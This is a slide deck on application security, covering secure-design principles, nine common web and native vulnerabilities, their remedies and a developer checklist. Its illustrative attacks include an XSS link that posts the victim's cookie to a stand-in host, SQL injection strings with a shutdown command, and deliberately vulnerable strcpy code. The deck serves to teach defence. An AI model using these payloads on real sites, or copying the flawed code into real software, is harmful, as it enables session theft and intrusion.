Application Security

979 views

Published on

Published in: Technology, Business
  • Be the first to comment

  • Be the first to like this

Application Security

  1. 1. Securing applications <ul><li>Who is responsible for providing security ? </li></ul><ul><li>Design considerations </li></ul><ul><ul><li>Principles and best practices </li></ul></ul><ul><li>Coding </li></ul><ul><ul><li>Ideas, techniques, code samples </li></ul></ul>
  2. 2. What is application security ? <ul><li>Typical app includes elements, components and processes </li></ul><ul><li>Each of the app elements and components and processes must be available only to qualified users </li></ul><ul><li>Every element, component and service must be protected from unauthorized viewing, tampering, modification </li></ul>
  3. 3. Security Basics <ul><li>Authentication </li></ul><ul><ul><li>who are you? </li></ul></ul><ul><li>Authorization </li></ul><ul><ul><li>what are you allowed to do? </li></ul></ul><ul><li>Privacy </li></ul><ul><ul><li>encryption </li></ul></ul><ul><ul><li>can anybody see what you do? </li></ul></ul><ul><li>Data integrity </li></ul><ul><ul><li>can anybody change your action? </li></ul></ul>
  4. 4. n-tier application model External Applications Legacy Systems Databases Thin Client Rich Client
  5. 5. Security Principles: SD3 <ul><li>By design </li></ul><ul><ul><li>Security architect, signs for security </li></ul></ul><ul><ul><li>Create threat model (shared with QA) </li></ul></ul><ul><ul><li>Training on security issues </li></ul></ul><ul><ul><li>Design and coding guidelines with focus on security: code simplification, reviews, bug fixes, regression testing </li></ul></ul><ul><ul><li>Minimize attack surface </li></ul></ul><ul><ul><li>Don’t reveal internal details in error messages </li></ul></ul>
  6. 6. Security Principles: SD3 <ul><li>By default </li></ul><ul><ul><li>Not all features installed by default </li></ul></ul><ul><ul><li>Allow least privilege </li></ul></ul><ul><ul><li>Apply appropriate protection for resources </li></ul></ul><ul><ul><li>Use defense in depth </li></ul></ul><ul><ul><li>Assume external systems are insecure </li></ul></ul><ul><ul><li>Fail to a secure mode </li></ul></ul><ul><ul><li>Never depend on security through obscurity </li></ul></ul><ul><ul><li>Don’t mix code and data </li></ul></ul>
  7. 7. Security Principles: SD3 <ul><li>In Deployment </li></ul><ul><ul><li>Make sure app has functionality for security administration </li></ul></ul><ul><ul><li>Make sure the app is correctly configured </li></ul></ul>
  8. 8. Top 9 application vulnerabilities <ul><li>Unchecked parameters </li></ul><ul><li>Broken Access Control </li></ul><ul><li>Cross-site scripting (XSS) flaws </li></ul><ul><li>Buffer overruns </li></ul><ul><li>SQL injection defects </li></ul><ul><li>Broken account and session management </li></ul><ul><li>Error handling deficiencies </li></ul><ul><li>Faulty use of cryptography </li></ul><ul><li>Web and app server misconfiguration </li></ul>
  9. 9. 1. Unchecked parameters <ul><li>Rule 1: all input is evil until proven otherwise </li></ul><ul><li>Rule 2: data must be validated as it crossed the boundary between untrusted and trusted environments </li></ul><ul><li>Issues: longer than expected strings, malicious content </li></ul>
  10. 10. Example: CopyData() <ul><li>void CopyData(char* szSrc) </li></ul><ul><li>{ </li></ul><ul><li>char szDest[1024]; </li></ul><ul><li>strcpy(szDest, szSrc); </li></ul><ul><li>// use szDest </li></ul><ul><li>} </li></ul>
  11. 11. Example: CopyData2() <ul><li>int CopyData2(char* szSrc, int nLen) </li></ul><ul><li>{ </li></ul><ul><li>int nRes = S_OK; </li></ul><ul><li>const int cnMaxLen = 1024; </li></ul><ul><li>char szDest[cnMaxLen]; </li></ul><ul><li>if (szSrc && nLen < cnMaxLen) </li></ul><ul><li>strncpy(szDest, szSrc, nLen); </li></ul><ul><li>else </li></ul><ul><li>nRes = ERR_WRONG_PARAM; </li></ul><ul><li>return nRes; </li></ul><ul><li>} </li></ul>
  12. 12. How to check validity <ul><li>Rule: look for valid data and reject everything else </li></ul><ul><li>Reasons: </li></ul><ul><ul><li>There could be more than one valid way to represent data (requires canonicalization) </li></ul></ul><ul><ul><li>You might miss an invalid data pattern </li></ul></ul><ul><li>May use regular expressions to check input </li></ul>
  13. 13. Canonicalization <ul><ul><li>The process by which various equivalent forms are resolved to a single, standard name, the canonical name </li></ul></ul><ul><ul><li>Do not make any security decision based on the name of a resource, especially a file name </li></ul></ul><ul><ul><li>Restrict what is allowed in a file name (drive, backslashes, extension etc.) </li></ul></ul>
  14. 14. 2. Cross-site scripting attacks <ul><li>Occur when an attacker uses a web app to send malicious code, usually JavaScript, to a different end user </li></ul><ul><li>Real reason is because data and code are mixed together (against one of the security principles) </li></ul><ul><li>2 categories: stored and reflected </li></ul>
  15. 15. Trusted Site ? <ul><li><a href=“http://www.microsoft.com@%77% </li></ul><ul><li>77%77%2E%65%78%3D%64%6F%74%73% </li></ul><ul><li>63%6B%69%65…..%3E”> </li></ul><ul><li>Click here to win $1,000,000 </a> </li></ul>URL format as defined in RFC1738: http://<user>:<pswd>@<host>:<port>/<path>
  16. 16. XSS example: server side <ul><li>www.cifo.com/req.asp implementation: </li></ul><ul><li>Hello, &nbsp; </li></ul><ul><li><% </li></ul><ul><li>Response.Write(Request.QueryString(“name”)) </li></ul><ul><li>%> </li></ul>
  17. 17. XSS example: client side <ul><li><a href=http://www.cifo.com/req.asp?name= </li></ul><ul><li><form action=www.bad-site.com/test.asp </li></ul><ul><li>method=post id=“idFrm”> </li></ul><ul><li><input name=“cookie” type=“hidden”> </li></ul><ul><li></form> </li></ul><ul><li><script> </li></ul><ul><li>idFrm.cookie.value=document.cookie; </li></ul><ul><li>idFrm.submit(); </li></ul><ul><li></script> </li></ul><ul><li>> Click here to win ! </a> </li></ul>
  18. 18. XSS attack against local files <ul><li><!—c:myfilesxss.html--> </li></ul><ul><li>Hello ! </li></ul><ul><li><script>document.write(location.hash) </li></ul><ul><li></script> </li></ul>file://c:myfilesxss.html#<script>alert(“I am in !”)</script>
  19. 19. XSS remedies <ul><li>Determine which input is valid and reject all the rest </li></ul><ul><li>Encode output (use Server.HTMLEncode) </li></ul><ul><li>Use double quotes around all tag properties </li></ul><ul><li>Use IE 6.0 SP1 HttpOnly cookie option </li></ul><ul><li>IE “Mark of the Web” </li></ul><ul><li>IE 6 <FRAME SECURITY> attribute </li></ul>
  20. 20. 3. Buffer overruns <ul><li>Occurs when a buffer declared on the stack is overwritten by copying data larger than the buffer </li></ul><ul><li>The usual culprit is unchecked user input passed to functions such as strcpy() </li></ul><ul><li>An attack results when the return address for the function gets overwritten by an address chosen by the attacker (usually to her own code) </li></ul>
  21. 21. Stack Overflow Example <ul><li>void foo(const char* input) </li></ul><ul><li>{ char buf[10]; // display stack here </li></ul><ul><li>strcpy(buf, input); // display stack here </li></ul><ul><li>} </li></ul><ul><li>void bar() </li></ul><ul><li>{ printf(“Ouch! I’ve been hacked !”);} </li></ul><ul><li>void main(int argc, char** argv) </li></ul><ul><li>{ </li></ul><ul><li>printf(“addr of foo:%p addr of bar:%p”, foo, bar); </li></ul><ul><li>foo(argv[1]); </li></ul><ul><li>} </li></ul>
  22. 22. Buffer overrun remedies <ul><li>Use strncpy instead of strcpy </li></ul><ul><li>Use snprintf instead of sprintf </li></ul><ul><li>Use STL string class </li></ul><ul><li>When writing functions for manipulating strings: </li></ul><ul><ul><li>Size of the destination buffer always provided to the function; </li></ul></ul><ul><ul><li>Buffers guaranteed to be NULL terminated, even if the operation truncates the intended result; </li></ul></ul><ul><ul><li>All functions must return HRESULT; </li></ul></ul>
  23. 23. “Dangerous” APIs <ul><li>APIs with Buffer overrun issues: strcpy, strcat, strncpy, strncat, memcpy, sprintf, printf, strlen, gets, scanf, STL stream operator (>>), T2W (& family) </li></ul><ul><li>APIs with name-squatting issues (CreateDirectory, CreateEvent, CreateFile, CreateMutex, CreateNamedPipe etc.) </li></ul><ul><li>APIs with Trojaning issues (CreateProcess, LoadLibrary, WinExec etc.) </li></ul><ul><li>APIs with DoS issues (InitializeCriticalSection, EnterCriticalSection, _alloca), TerminateThread, TerminateProcess </li></ul><ul><li>Socket APIs </li></ul>
  24. 24. 4. SQL injection issue <ul><li>string sql = “select * from customer where CustID= ‘” + id + “’” </li></ul><ul><li>// value of variable ‘id’ is “A125612’ or 1=1 --” </li></ul><ul><li>select * from customer where id=‘A125612’ or 1=1 –-‘ </li></ul>
  25. 25. SQL injection “remedies”: double quote the input <ul><li>// value of variable ‘id’ is “A125612’ or 1=1 --” </li></ul><ul><li>select * from customer where id=‘A125612’’ or 1=1 –-‘ </li></ul>select * from customer where id=‘” + id + ”’ and age>” + nAge select & from customer where id=‘A75’ and age>33 shutdown --
  26. 26. SQL injection “remedies”: use stored procedures <ul><li>exec sp_GetCust ‘A152’ or 1=1’ -- </li></ul>exec sp_GetCustomer ‘A152’ insert into customer values (...) --
  27. 27. Preventing SQL injection <ul><li>Again, do not trust user’s input ! </li></ul><ul><li>Use parameterized queries (e.g. through ADO.Command) and not string concatenation </li></ul><ul><li>Be strict about what represents valid input and reject everything else </li></ul><ul><li>Connect to db by using least privileged account, not sysadmin </li></ul><ul><li>Do not divulge too much info to attacker </li></ul>
  28. 28. 5. Access Control <ul><li>Sometimes called Authorization, is how the app grants access to content and functions to some users and not others </li></ul><ul><li>ACL is last line of defense against attack </li></ul><ul><li>Access Control policy should be clearly documented and enforced </li></ul><ul><li>Code that implements access control should be centralized, modular and thoroughly reviewed </li></ul>
  29. 29. 6. Broken account and session management <ul><li>Caused by flawed credential management functions, including password change, forgot my password, account update etc. </li></ul><ul><li>Managing active sessions requires strong session identifier (token), protected throughout its lifecycle, that can’t be guessed, hijacked or captured </li></ul>
  30. 30. Protection against break-ins <ul><li>Single password change mechanism; always required to provide both new and old password </li></ul><ul><li>Strong password should have min size </li></ul><ul><li>Password storage always in hashed or encrypted form </li></ul><ul><li>Protect credentials in transit (SSL-type) </li></ul><ul><li>Session ID protection – ideally through SSL for the entire session </li></ul>
  31. 31. 7. Error handling deficiencies <ul><li>Most common problem is when detailed internal error messages (stack traces, mem dumps, error codes) are displayed to the user (attacker) </li></ul><ul><li>Even though minimal error messages are displayed, they can still be logged by the application, with all their details, on the server, analyzed and fixed </li></ul>
  32. 32. 8. Faulty use of cryptography <ul><li>Insecure storage of keys, certificates and passwords </li></ul><ul><li>Poor source for randomness </li></ul><ul><li>Poor choice for encryption algorithm or attempting to invent new ones </li></ul><ul><li>Failure to encrypt critical data </li></ul><ul><li>Lack of support for key changes </li></ul>
  33. 33. Solutions for cryptography issues <ul><li>In Win32 use CryptGenRandom to generate random numbers </li></ul><ul><li>Use appropriate key lengths </li></ul><ul><li>Keep keys close to the source </li></ul><ul><li>If must exchange keys (private keys should never be exchanged) use a tried and trusted exchange mechanism (RSA, Diffie-Hellman) </li></ul><ul><li>Document your reasons for choosing the cryptographic solution and have someone knowledgeable review it </li></ul>
  34. 34. RSA encryption keys <ul><li>Find two large prime numbers (1024 bit or longer), P and Q; N = P*Q </li></ul><ul><li>Chose E, between 1 and P*Q, such that E and (P-1)*(Q-1) are relative prime (have no common factor other than 1) </li></ul><ul><li>Compute D such that (D*E-1) is divisible by (P-1)*(Q-1), that is equivalent to D*E = 1 (mod(P-1*(Q-1)) </li></ul><ul><li>Public key is the pair (N, E), private key is D </li></ul>
  35. 35. RSA encryption algorithm <ul><li>The encryption function is C = (T^E) mod PQ , where C is the ciphertext (a positive integer), T is the plaintext (a positive integer) </li></ul><ul><li>The decryption function is T = (C^D) mod PQ , where C is the ciphertext (a positive integer) and T is the plaintext (a positive integer) </li></ul>
  36. 36. 9. Web and app server misconfiguration <ul><li>Unpatched security flaws in the server software </li></ul><ul><li>Unnecessary default, backup, sample files, including scripts, applications, configuration files, web pages </li></ul><ul><li>Unnecessary services enabled </li></ul><ul><li>Default accounts with default passwords </li></ul><ul><li>Admin or debugging functions that are enabled or accessible </li></ul><ul><li>Misconfigured SSL certificates and encryption settings </li></ul>
  37. 37. Summary Things to remember <ul><li>Designer’s security checklist </li></ul><ul><li>Developer’s security checklist </li></ul><ul><li>Tester’s security checklist </li></ul><ul><li>Stay up-to-date: threats change, new ones emerge </li></ul><ul><li>Never been attacked does not mean will never be attacked </li></ul>
  38. 38. Developer’s security checklist <ul><li>Code compiled with /GS (Visual C++.NET) </li></ul><ul><li>Check all untrusted input is verified before being used or stored </li></ul><ul><li>All buffer management functions are safe from buffer overrun </li></ul><ul><li>All DACLs well formed: not NULL or Everyone (Full Control) </li></ul><ul><li>No references to any internal resources (server names, user names etc.) in code </li></ul><ul><li>Temporary file names are unpredictable </li></ul><ul><li>Calls to CreateProcess do not have NULL as first arg </li></ul><ul><li>Error messages do not give too much info to attacker </li></ul><ul><li>No decision made based on the name of the files </li></ul><ul><li>No user data written to HKLM in the registry </li></ul><ul><li>Socket bind to a specific IP address (not 0) </li></ul><ul><li>Etc. (Database-specific, CryptoAPI) </li></ul>
  39. 39. Questions, suggestions Future presentations - basic cryptography (history and evolution) - DVD encryption

×